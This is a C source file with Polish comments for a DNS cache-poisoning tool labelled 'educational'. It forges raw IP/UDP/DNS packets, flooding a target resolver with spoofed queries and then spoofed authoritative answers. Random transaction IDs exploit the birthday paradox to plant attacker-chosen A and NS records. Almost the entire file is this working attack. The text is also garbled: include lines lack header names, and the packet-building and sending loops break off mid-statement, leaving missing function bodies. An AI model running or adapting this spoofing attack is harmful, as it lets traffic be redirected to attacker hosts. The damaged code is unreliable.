/* * dnspoison.c - ...... * Copyright (C) 2003 Robert Nowotniak * sob 10 maj 2003 20:56:28 CEST * * {{{ * * Program służy do tzw. spoof'owania wpisów w DNS'ie, dla celów edukacyjnych. * * Motto programu (paradoks urodzin): * Czy wiesz, że prawdopodobieństwo zdarzenia: w grupie 23 osób są co najmniej * dwie, które urodziły się w tym samym dniu roku, wynosi ponad 50 %? * * Z analogicznego faktu można skorzystać w celu oszukania serwera DNS, który * rozpoznaje pakiety po wartości Transaction ID w nagłówku pakietu DNS. To * pole może przyjmować 0xFFFF różnych wartości. Prawdopodobieństwo jego * odgadnięcia wynosi więc 0.000015. * Jeśli serwer DNS wyśle 300 zapytań a otrzyma 300 losowych odpowiedzi, to * prawdopodobieństwo, że choć jedna z odpowiedzi będzie pasować (ID) do * któregoś z zapytań wynosi aż 49.6 %. * * Program wymaga możliwości otwarcia surowego gniazda sieciowego, w celu * wysyłania spoof'owanych pakietów IP. Oczywiście, te pakiety muszą w ogóle * dotrzeć do serwera (a nie zostać odfiltrowane po drodze), więc serwer musi * znajdować się dość ,,blisko'' (np. w sieci lokalnej). * * Oczywiście spoof'ować można tylko te wpisy, których serwer nie ma w swojej * pamięci cache. * * * }}} */ #include #include #include #include #include #include #include #include #include #include #include #include #ifndef BYTE_ORDER #define BYTE_ORDER LITTLE_ENDIAN #endif #ifndef SOL_IP #define SOL_IP 0 #endif /* --- STRUKTURY SIECIOWE --- {{{ */ /* Nagłówek IPv4 */ struct iphdr { #if BYTE_ORDER == LITTLE_ENDIAN unsigned int ihl:4; unsigned int version:4; #elif BYTE_ORDER == BIG_ENDIAN unsigned int version:4; unsigned int ihl:4; #endif u_int8_t tos; u_int16_t tot_len; u_int16_t id; u_int16_t frag_off; u_int8_t ttl; u_int8_t protocol; u_int16_t check; u_int32_t saddr; u_int32_t daddr; }; /* Nagłówek UDP */ struct udphdr { u_int16_t source; u_int16_t dest; u_int16_t len; u_int16_t check; }; /* Nagłówek DNS */ struct dnshdr { unsigned id :16; /* query identification number */ #if BYTE_ORDER == BIG_ENDIAN unsigned qr: 1; /* response flag */ unsigned opcode: 4; /* purpose of message */ unsigned aa: 1; /* authoritive answer */ unsigned tc: 1; /* truncated message */ unsigned rd: 1; /* recursion desired */ unsigned ra: 1; /* recursion available */ unsigned unused :1; unsigned ad: 1; /* authentic data from named */ unsigned cd: 1; /* checking disabled by resolver */ unsigned rcode :4; /* response code */ #endif #if BYTE_ORDER == LITTLE_ENDIAN || BYTE_ORDER == PDP_ENDIAN unsigned rd :1; /* recursion desired */ unsigned tc :1; /* truncated message */ unsigned aa :1; /* authoritive answer */ unsigned opcode :4; /* purpose of message */ unsigned qr :1; /* response flag */ unsigned rcode :4; /* response code */ unsigned cd: 1; /* checking disabled by resolver */ unsigned ad: 1; /* authentic data from named */ unsigned unused :1; unsigned ra :1; /* recursion available */ #endif unsigned qdcount :16; /* number of question entries */ unsigned ancount :16; /* number of answer entries */ unsigned nscount :16; /* number of authority entries */ unsigned arcount :16; /* number of resource entries */ }; #define HDRS_SIZE sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(struct dnshdr) /* Nazwa domenowa w specyficznym formacie */ struct __dname { char *b; int len; }; /* Zapytanie DNS */ struct __quest { struct __dname nazwa; u_int16_t typ; u_int16_t klasa; }; /* Odpowiedź DNS */ struct __rr { struct __dname domena; u_int16_t typ; u_int16_t klasa; u_int32_t ttl; u_int16_t rdlenght; char *rdata; }; struct __qtype { char *nazwa; int nr; }; struct __qtype TYPY[] = { { "invalid", 0 }, { "a", 1 }, { "ns", 2 }, { "md", 3 }, { "mf", 4 }, { "cname", 5 }, { "soa", 6 }, { "mb", 7 }, { "mg", 8 }, { "mr", 9 }, { "null", 10 }, { "wks", 11 }, { "ptr", 12 }, { "hinfo", 13 }, { "minfo", 14 }, { "mx", 15 }, { "txt", 16 }, { "rp", 17 }, { "afsdb", 18 }, { "x25", 19 }, { "isdn", 20 }, { "rt", 21 }, { "nsap", 22 }, { "nsap_ptr", 23 }, { "sig", 24 }, { "key", 25 }, { "px", 26 }, { "gpos", 27 }, { "aaaa", 28 }, { "loc", 29 }, { "nxt", 30 }, { "eid", 31 }, { "nimloc", 32 }, { "srv", 33 }, { "atma", 34 }, { "naptr", 35 }, { "kx", 36 }, { "cert", 37 }, { "a6", 38 }, { "dname", 39 }, { "sink", 40 }, { "opt", 41 }, { "tsig", 250 }, { "ixfr", 251 }, { "axfr", 252 }, { "mailb", 253 }, { "maila", 254 }, { "any", 255 }, { "zxfr", 256 }, { "max", 65536 }, { (char*)NULL, 0 } }; struct __qclass { char *nazwa; int nr; }; struct __qclass KLASY[]= { { "invalid", 0 }, { "in", 1 }, { "chaos", 3 }, { "hs", 4 }, { "none", 254 }, { "any", 255 }, { "max", 65536 }, { (char*)NULL, 0 } }; /* }}} */ /* DEFAULT SPOOF DATA {{{ */ /* Nagłówek IPv4 */ #define DEFAULT_SPOOF_ADR "10.0.0.1" #define DEFAULT_SRV_ADR "10.0.0.2" #define DEFAULT_KL_ADR "10.0.0.3" /* Nagłówek UDP */ /* Port, z którego serwer wysłał zapytanie */ #define DEFAULT_SPOOF_PORT 53 #define DEFAULT_SRV_PORT 32786 #define DEFAULT_KL_PORT 32768 #if 0 /* Nagłówek DNS */ /* Zapytania */ struct __quest QUESTIONS[]= { { {"\x06google\03com\x0",12}, 1, 1 }, { {(char*)NULL,0}, 0, 0 } }; /* Odpowiedzi */ struct __rr ANSWERS[]= { { {"\xc0\x0c",2}, 1, 1, 0x100E, 4, "\xc0\xa8\x42\x06" }, { {(char*)NULL,0}, 0,0,0,0, (char*)NULL } }; /* Serwery autorytatywne */ struct __rr AUTHNSs[]= { { {"\xc0\x0c",2}, 2, 1, 0x100E, 22, "......." }, { {(char*)NULL,0}, 0,0,0,0, (char*)NULL } }; #endif /* Informacje dodatkowe */ /* }}} */ /* Zmienne globalne {{{ */ int RAWSOCK; int BATCH; /* Czy tryb nieinteraktywny ? */ u_int16_t SP_PORT=DEFAULT_SPOOF_PORT, VIC_PORT=DEFAULT_SRV_PORT, KL_PORT=DEFAULT_KL_PORT; char SP_ADR[255],VIC_ADR[255],KL_ADR[255]; struct __quest PYT[255]; struct __rr ODP[255], AUTNS[255]; int pyt_cnt=0, odp_cnt=0, aut_cnt=0; long long unsigned int ILE_PAKIETOW; enum pkt_typ { pyt, odp }; extern int errno; /* }}} */ /* Prototypy funkcji {{{ */ char* chop(char *str); int GetTyp(char *typ); int GetKlasa(char *klasa); #define JestTakiTyp(x) ( (GetTyp(x)<0) ? 0 : 1 ) #define JestTakaKlasa(x) ( (GetKlasa(x)<0) ? 0 : 1 ) int main(int argc, const char **argv); void Blad(const char *msg); int losowo(int min, int max); void banner(void); int wyslij_pakiet(enum pkt_typ P_TYP); u_int32_t OkreslWielkoscP(int hdrs, int q_cnt, int a_cnt, int aut_cnt); void WypytajUzytkownika(void); char* ZakodujNazwe(const char *str); void Atakuj(unsigned long long int ile); double Prawdop(long long unsigned int A); /* }}} */ /* Program do spoof'owania wpisów w DNSie */ int main(int argc, const char **argv) { int hdrincl=1; BATCH = isatty(0) ? 0 : 1; banner(); setlocale(LC_ALL,""); memset( PYT, '\0', sizeof(PYT) ); memset( ODP, '\0', sizeof(PYT) ); memset( AUTNS, '\0', sizeof(PYT) ); WypytajUzytkownika(); srandom(time((time_t*)NULL)); printf("[*] Otwieranie gniazda sieciowego... "); if( (RAWSOCK=socket(PF_INET, SOCK_RAW, IPPROTO_UDP)) < 0 ) { puts("Błąd"); fprintf(stderr,"Brak uprawnień do otwarcia gniazda sieciowego\n"); Blad("socket()"); } printf("\n"); if( (setsockopt(RAWSOCK, SOL_IP, IP_HDRINCL, (const void*)&hdrincl, sizeof(hdrincl))) < 0 ) Blad("setsockopt()"); Atakuj(ILE_PAKIETOW); close(RAWSOCK); exit(EXIT_SUCCESS); } void WypytajUzytkownika(void) /* {{{ */ { char TMP[255]; u_int8_t *p; int n; /* Warstwa IP {{{ */ puts("[*]--- Pobieranie danych do spoof'owania w warstwie IP"); if( ! BATCH ) { puts(" |"); printf(" [*] Pod jaki adres IP serwera będziemy się podszywać (%s) ?\n", DEFAULT_SPOOF_ADR); printf(" [>] "); } chop( fgets(SP_ADR, sizeof(SP_ADR)-1, stdin) ); if( ! *SP_ADR ) strncpy(SP_ADR, DEFAULT_SPOOF_ADR, sizeof(SP_ADR)); if( ! BATCH ) printf(" [*] Pod jaki port serwera będziemy się podszywać [%d] ?\n", DEFAULT_SPOOF_PORT); do{ if( ! BATCH ) printf(" [>] "); chop( fgets(TMP, sizeof(TMP)-1, stdin) ); if( ! *TMP ) break; }while( sscanf(TMP, "%hd", &SP_PORT) != 1 ); if( ! BATCH ) { printf(" [*] Pod jaki adres IP klienta będziemy się podszywać (%s) ?\n",DEFAULT_KL_ADR); printf(" [>] "); } chop( fgets(KL_ADR, sizeof(TMP)-1, stdin) ); if( ! *KL_ADR ) strncpy(KL_ADR, DEFAULT_KL_ADR, sizeof(KL_ADR)); if( ! BATCH ) printf(" [*] Pod jaki port klienta będziemy się podszywać [%d] ?\n", DEFAULT_KL_PORT); do{ if( ! BATCH ) printf(" [>] "); chop( fgets(TMP, sizeof(TMP)-1, stdin) ); if( ! *TMP ) break; }while( sscanf(TMP, "%hd", &KL_PORT) != 1 ); if( ! BATCH ) { printf(" [*] Jaki adres IP będziemy atakować [%s] ?\n", DEFAULT_SRV_ADR); printf(" [>] "); } chop( fgets(VIC_ADR, sizeof(VIC_ADR)-1, stdin) ); if( ! *VIC_ADR ) strncpy(VIC_ADR, DEFAULT_SRV_ADR, sizeof(VIC_ADR)); if( ! BATCH ) printf(" [*] Na jaki port będziemy atakować [%d] ?\n", DEFAULT_SRV_PORT); do{ if( ! BATCH ) printf(" [>] "); chop( fgets(TMP, sizeof(TMP)-1, stdin) ); if( ! *TMP ) break; }while( sscanf(TMP, "%hd", &VIC_PORT) != 1 ); if( ! BATCH ) puts(" |"); /* }}} */ puts("[*]--- Pobieranie danych o spoof'owanych pakietach DNS"); /* Sekcja zapytań {{{ */ if( ! BATCH ) puts(" [*]--- Sekcja zapytań pakietu DNS"); for( *TMP='\0',n=1; ; ++n ) { if( ! BATCH ) printf(" [%d] Zapytanie o jaką nazwę ",n); if( ! BATCH ) { if( n==1 ) puts("?"); else puts("(, jeśli koniec) ?"); } do{ if( ! BATCH ) printf(" [>] "); chop( fgets(TMP, sizeof(TMP)-1, stdin) ); if( ! *TMP ) break; } while( ! (PYT[n-1].nazwa.b=ZakodujNazwe(TMP)) ); if( ! *TMP ) break; //PYT[n-1].nazwa.len=strlen(PYT[n-1].nazwa.b)+1; PYT[n-1].nazwa.len=strlen(TMP)+2; if( ! BATCH ) printf(" [%d] Zapytanie o jaki typ ?\n", n); do{ if( ! BATCH ) printf(" [>] "); chop( fgets(TMP, sizeof(TMP)-1, stdin) ); if( JestTakiTyp(TMP) ) break; fprintf(stderr," [B] Nie ma takiego typu.\n"); } while(1); PYT[n-1].typ=GetTyp(TMP); if( ! BATCH ) printf(" [%d] Zapytanie o jaką klasę ?\n", n); do{ if( ! BATCH ) printf(" [>] "); chop( fgets(TMP, sizeof(TMP)-1, stdin) ); if( JestTakaKlasa(TMP) ) break; fprintf(stderr," [B] Nie ma takiej klasy.\n"); } while(1); PYT[n-1].klasa=GetKlasa(TMP); ++pyt_cnt; } /* }}} */ /* Sekcja odpowiedzi {{{ */ if( ! BATCH ) puts(" [*]--- Sekcja odpowiedzi pakietu DNS"); for( *TMP='\0',n=1; ;++n ) { if( ! BATCH ) printf(" [%d] Odpowiedź dla jakiej domeny ", n); if( ! BATCH ) { if( n==1 ) puts("?"); else puts("(, jeśli koniec) ?"); } do{ if( ! BATCH ) printf(" [>] "); chop( fgets(TMP, sizeof(TMP)-1, stdin) ); if( ! *TMP && n>1 ) break; } while( ! (ODP[n-1].domena.b=ZakodujNazwe(TMP)) ); if( ! *TMP && n>1 ) break; //ODP[n-1].domena.len=strlen(ODP[n-1].domena.b)+1; ODP[n-1].domena.len=strlen(TMP)+2; if( ! BATCH ) printf(" [%d] Odpowiedź jakiego typu ?\n",n); do{ if( ! BATCH ) printf(" [>] "); chop( fgets(TMP, sizeof(TMP)-1, stdin) ); if( JestTakiTyp(TMP) ) break; fprintf(stderr," [B] Nie ma takiego typu.\n"); } while(1); ODP[n-1].typ=GetTyp(TMP); if( ! BATCH ) printf(" [%d] Odpowiedź jakiej klasy ?\n",n); do{ if( ! BATCH ) printf(" [>] "); chop( fgets(TMP, sizeof(TMP)-1, stdin) ); if( JestTakaKlasa(TMP) ) break; fprintf(stderr," [B] Nie ma takiej klasy.\n"); } while(1); ODP[n-1].klasa=GetKlasa(TMP); if( ! BATCH ) printf(" [%d] Wartość TTL (sekundy) ?\n",n); do{ if( ! BATCH ) printf(" [>] "); chop( fgets(TMP, sizeof(TMP)-1, stdin) ); }while( strspn(TMP,"0123456789")!=strlen(TMP) ); ODP[n-1].ttl=atol(TMP); if( ! BATCH ) printf(" [%d] Treść odpowiedzi ?\n",n); do{ if( ! BATCH ) printf(" [>] "); chop( fgets(TMP, sizeof(TMP)-1, stdin) ); p=malloc(sizeof(in_addr_t)); *(in_addr_t*)p=inet_addr(TMP); ODP[n-1].rdata=p; } while( -1 == *(in_addr_t*)p ); ODP[n-1].rdlenght=sizeof(in_addr_t); ++odp_cnt; } /* }}} */ /* Sekcja serwerów autorytatywnych {{{ */ if( ! BATCH ) puts(" [*]--- Sekcja serwerów autorytatywnych"); for( *TMP='\0',n=1; ;++n ) { if( ! BATCH ) printf(" [%d] Jaka domena (, jeśli koniec) ?\n", n); do{ if( ! BATCH ) printf(" [>] "); chop( fgets(TMP, sizeof(TMP)-1, stdin) ); if( ! *TMP ) break; } while( ! (AUTNS[n-1].domena.b=ZakodujNazwe(TMP)) ); if( ! *TMP ) break; AUTNS[n-1].domena.len=strlen(TMP)+2; AUTNS[n-1].typ=GetTyp("ns"); AUTNS[n-1].klasa=GetKlasa("in"); if( ! BATCH ) printf(" [%d] Wartość TTL (sekundy) ?\n",n); do{ if( ! BATCH ) printf(" [>] "); chop( fgets(TMP, sizeof(TMP)-1, stdin) ); }while( strspn(TMP,"0123456789")!=strlen(TMP) ); AUTNS[n-1].ttl=atol(TMP); if( ! BATCH ) printf(" [%d] Autorytatywny serwer DNS:\n",n); do{ if( ! BATCH ) printf(" [>] "); chop( fgets(TMP, sizeof(TMP)-1, stdin) ); if( ! *TMP ) break; } while( NULL == (AUTNS[n-1].rdata=ZakodujNazwe(TMP)) ); AUTNS[n-1].rdlenght=strlen(TMP)+2; ++aut_cnt; } /* }}} */ if( ! BATCH ) { puts(" [*]--- Technika ataku"); puts(" [*] Ile pakietów wysłać ?"); } do{ if( ! BATCH ) printf(" [>] "); chop( fgets(TMP, sizeof(TMP), stdin) ); if( ! (n=strlen(TMP)) ) continue; }while( strspn(TMP, "0123456789")!=n ); ILE_PAKIETOW=strtoll(TMP, (char**)NULL, 10); if( ! BATCH ) puts(" [*]--- Dane pobrane"); puts("[*]--- Potwierdzenie ataku"); puts(" |"); printf(" | Adres atakowanego systemu: %s : %d\n", VIC_ADR, VIC_PORT); printf(" | Spoof'owany adres klienta: %s : %d\n", KL_ADR, KL_PORT); printf(" | Spoof'owany adres serwera: %s : %d\n", SP_ADR, SP_PORT); printf(" | Ilość pakietów: %lld \n", ILE_PAKIETOW); printf(" | Wielkość każdego z pakietów: %d B\n", OkreslWielkoscP(HDRS_SIZE,pyt_cnt,odp_cnt,aut_cnt)); printf(" | Prawdopodobieństwo wstrzelenia się (sukcesu): %2.1f %%\n", 100.0*Prawdop(ILE_PAKIETOW) ); puts(" |"); printf("[*] Czy rozpocząć atak ? [Tak/Nie]\n"); do{ printf("[>] "); chop( fgets(TMP, sizeof(TMP), stdin) ); }while( strcasecmp(TMP,"tak") && strcasecmp(TMP,"nie") ); if( ! strcasecmp(TMP,"nie") ) exit(EXIT_FAILURE); if( BATCH ) puts("TAK"); fflush(stdout); } /* }}} */ int wyslij_pakiet(enum pkt_typ P_TYP) /* {{{ */ { char *PAKIET; int PCKT_SIZE=0; struct iphdr *IPH; struct udphdr *UDPH; struct dnshdr *DNSH; u_int8_t *PTR; int a_cnt=0,auth_cnt=0; int add_cnt=0; int n; struct sockaddr_in toadr; if( P_TYP == pyt ) { a_cnt=0; auth_cnt=0; } else { a_cnt=odp_cnt; auth_cnt=aut_cnt; } PCKT_SIZE=OkreslWielkoscP(HDRS_SIZE,pyt_cnt,a_cnt,auth_cnt); if( NULL == (PAKIET=malloc( PCKT_SIZE )) ) Blad("malloc()"); memset( (void*)PAKIET, '\0', PCKT_SIZE ); IPH=(struct iphdr*)PAKIET; UDPH=(struct udphdr*)(PAKIET+sizeof(struct iphdr)); DNSH=(struct dnshdr*)(PAKIET+sizeof(struct iphdr)+sizeof(struct udphdr)); IPH->version=4; IPH->ihl=5; IPH->tos=0; IPH->tot_len=htons(PCKT_SIZE); IPH->id=losowo(0,0xFFFF); IPH->frag_off=0; IPH->ttl=64; IPH->protocol=IPPROTO_UDP; IPH->check=0; /* Obliczane automatycznie */ if( P_TYP == pyt ) { IPH->saddr=inet_addr(KL_ADR); IPH->daddr=inet_addr(VIC_ADR); UDPH->source=htons(KL_PORT); UDPH->dest=htons(53); }else{ IPH->saddr=inet_addr(SP_ADR); IPH->daddr=inet_addr(VIC_ADR); UDPH->source=htons(SP_PORT); UDPH->dest=htons(VIC_PORT); } UDPH->len=htons(PCKT_SIZE-sizeof(struct iphdr)); UDPH->check=0; DNSH->id=losowo(0,0xFFFF); if( P_TYP == odp ) DNSH->qr=1; /* Pakiet jest odpowiedzią */ else DNSH->qr=0; DNSH->opcode=0; DNSH->aa=1; /* Odpowiedź jest autorytatywna */ DNSH->tc=0; DNSH->rd=1; DNSH->ra=1; DNSH->ad=1; DNSH->rcode=0; DNSH->qdcount= htons(pyt_cnt); DNSH->ancount= htons(a_cnt); DNSH->nscount= htons(auth_cnt); DNSH->arcount= htons(add_cnt); PTR=(u_int8_t*)(DNSH)+sizeof(struct dnshdr); for( n=0; n=MAX_BLEDY ) break; if( ! (n%10) ) { printf("\r[!]---> Pakiety: %lld", n); fflush(stdout); } } printf("\r[!]---> Pakiety: %lld\n", --n); if( bledy>=MAX_BLEDY ) { fprintf(stderr,"[B] Wysyłanie zapytań przerwane.\n"); fprintf(stderr,"[B] Wystąpiło %lld błędów podczas wysyłania pakietów\n", bledy); exit(EXIT_FAILURE); } /* }}} */ /* Wysyłanie pakietów z odpowiedziami {{{ */ puts("[*]--- Odpowiedzi do serwera..."); printf("[!] "); fflush(stdout); for(n=1; n<=ile; ++n) { if( wyslij_pakiet(odp) < 0 ) ++bledy; if( bledy>=MAX_BLEDY ) break; if( ! (n%10) ) { printf("\r[!]---> Pakiety: %lld", n); fflush(stdout); } } printf("\r[!]---> Pakiety: %lld\n", --n); if( bledy>=MAX_BLEDY ) { fprintf(stderr,"[B] Atak przerwany.\n"); fprintf(stderr,"[B] Wystąpiło %lld błędów podczas wysyłania pakietów", bledy); } puts(" |"); /* }}} */ puts("[*]--- Zakończono wysyłanie pakietów"); } /* }}} */ /* Funkcje pomocnicze DNS {{{ */ int GetTyp(char *str) { int n=0,jest=-1; char tmp[255]; sscanf(str, "%s", tmp); while( TYPY[n].nazwa ) if( ! strcasecmp(tmp, TYPY[n++].nazwa) ) { jest=TYPY[n-1].nr; break; } return jest; } int GetKlasa(char *str) { int n=0,jest=-1; char tmp[255]; sscanf(str, "%s", tmp); while( KLASY[n].nazwa ) if( ! strcasecmp(tmp, KLASY[n++].nazwa) ) { jest=TYPY[n-1].nr; break; } return jest; } char* ZakodujNazwe(const char *str) { char *zakod,*r; int n; zakod=malloc(strlen(str)+4); if( ! zakod ) return NULL; strncpy(zakod, str, strlen(str)+1); if( *zakod=='.' || ! index(zakod,'.') ) return NULL; if( strspn(zakod,"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.-0123456789")!=strlen(zakod) ) return NULL; *zakod='.'; strncpy(zakod+1,str,strlen(str)+1); for(r=zakod ; index(r+1,'.'); ) { n=index(r+1,'.')-(r+1); *r=n; r+=n+1; } n=strlen(r+1); *r=n; return zakod; } u_int32_t OkreslWielkoscP(int hdrs, int q_cnt, int a_cnt, int aut_cnt){ u_int32_t Wielkosc; struct __quest *q_ptr; struct __rr *r_ptr; int n; Wielkosc=hdrs; for( q_ptr=PYT,n=0; nnazwa.len; for( r_ptr=ODP,n=0; nrdlenght + r_ptr->domena.len; for( r_ptr=AUTNS,n=0; nrdlenght + r_ptr->domena.len; return Wielkosc; } /* }}} */ /* Funkcje pomocnicze {{{ */ char* chop(char *str) { char *p; if( ! str || ! *str ) return NULL; if( ! (p=index(str,'\n')) ) return str; if( p!=str && p[-1]=='\r' ) p[-1]='\0'; else p[0] ='\0'; return str; } int losowo(int min, int max) { return min+(int)(1.0*(max-min+1)*rand()/(RAND_MAX+1.0)); } double Prawdop(long long unsigned int A){ double wynik=0; wynik=1.0-pow( (1.0-1.0/(65536.0)), (A*(A-1))/2.0 ); return wynik; } void Blad(const char *msg) { fprintf(stderr,"%s: %s\n", msg, strerror(errno)); exit(EXIT_FAILURE); } void banner(void) { system("/usr/bin/clear"); printf("\ **************************************************\ DNS POISON\ by [rob@submarine.ath.cx]\ \ Ten program (na licencji GNU GPL) służy tylko\ do celów edukacyjnych.\ **************************************************\ \ "); return; } /* }}} */ /* vim: set fdm=marker:ts=3:sw=3: */